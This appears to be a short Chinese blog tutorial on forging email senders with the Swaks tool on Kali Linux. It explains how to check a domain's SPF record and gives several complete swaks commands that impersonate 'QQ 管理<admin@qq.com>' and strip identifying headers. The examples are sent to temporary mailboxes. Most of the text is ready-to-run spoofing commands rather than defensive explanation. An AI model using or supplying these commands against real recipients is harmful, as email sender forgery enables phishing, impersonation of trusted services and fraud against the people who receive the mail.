目录
[Swaks 简单使用说明:(kali自带)](#Swaks 简单使用说明:(kali自带))
临时邮箱网址:
Swaks 简单使用说明:(kali自带)
-t --to 目标地址 -t test@test.com
-f --from 来源地址 (发件人) -f "text<text@text.com>"
--protocol 设定协议(未测试)
--body "http://www.baidu.com" //引号中的内容即为邮件正文;
--header "Subject:hello" //邮件头信息,subject 为邮件标题
-ehlo 伪造邮件 ehlo 头
--data ./Desktop/email.txt //将 TXT 文件作为邮件发送;
操作流程:
1、检测:
nslookup -type=txt xxx.com
2、伪造:
swaks ...............
无SPF:(直接伪造发信人)
演示1
![](https://img-blog.csdnimg.cn/direct/1c9c7022791a4ace8c3db63ea991dac1.png)
swaks --header-X-Mailer "" --header-Message-Id "" --header-"Content-Type"="text/html" --from "QQ 管理<admin@qq.com>" --ehlo shabimeiguo -header "Subject: 测试" --body 我们做了一个测试 --to qzmydusmoy@iubridge.com
---直接伪造发信人
![](https://img-blog.csdnimg.cn/direct/ee67ea9acf2e43f6bfe64c408ac6990b.png)
演示2
![](https://img-blog.csdnimg.cn/direct/199b1e3fe6664acd8b3027f168f40db0.png)
swaks --header-X-Mailer "" --header-Message-Id "" --header-"Content-Type"="text/html" --from "QQ 管理<admin@qq.com>" --ehlo shabimeiguo -header "Subject: 测试" --body 我们做了一个测试 --to tripjf08516@chacuo.net
![](https://img-blog.csdnimg.cn/direct/6c4861499e6b42df92fd97a4622e3935.png)
演示3
swaks --header-X-Mailer "" --header-Message-Id "" --header-"Content-Type"="text/html" --from "QQ 管理<admin@qq.com>" --ehlo shabimeiguo -header "Subject: 测试" --body 我们做了一个测试 --to uoysvj84956@027168.com
![](https://img-blog.csdnimg.cn/direct/3c97be3fb4aa4f3baee259bcd82fff6d.png)
有SPF:--演示
![](https://img-blog.csdnimg.cn/direct/f151f4ea0b3c4889a332e8acb18f3ff2.png)
swaks --header-X-Mailer "" --header-Message-Id "" --header-"Content-Type"="text/html" --from "" --ehlo shabimeiguo -header "Subject: 测试" --body 我们做了一个测试 --to xxxxxxxxx9@163.com
![](https://img-blog.csdnimg.cn/direct/db5a4e66487c424e84e92f0ffde76175.png)
![](https://img-blog.csdnimg.cn/direct/6e6221c950974bbea1c1be5f57c300ce.png)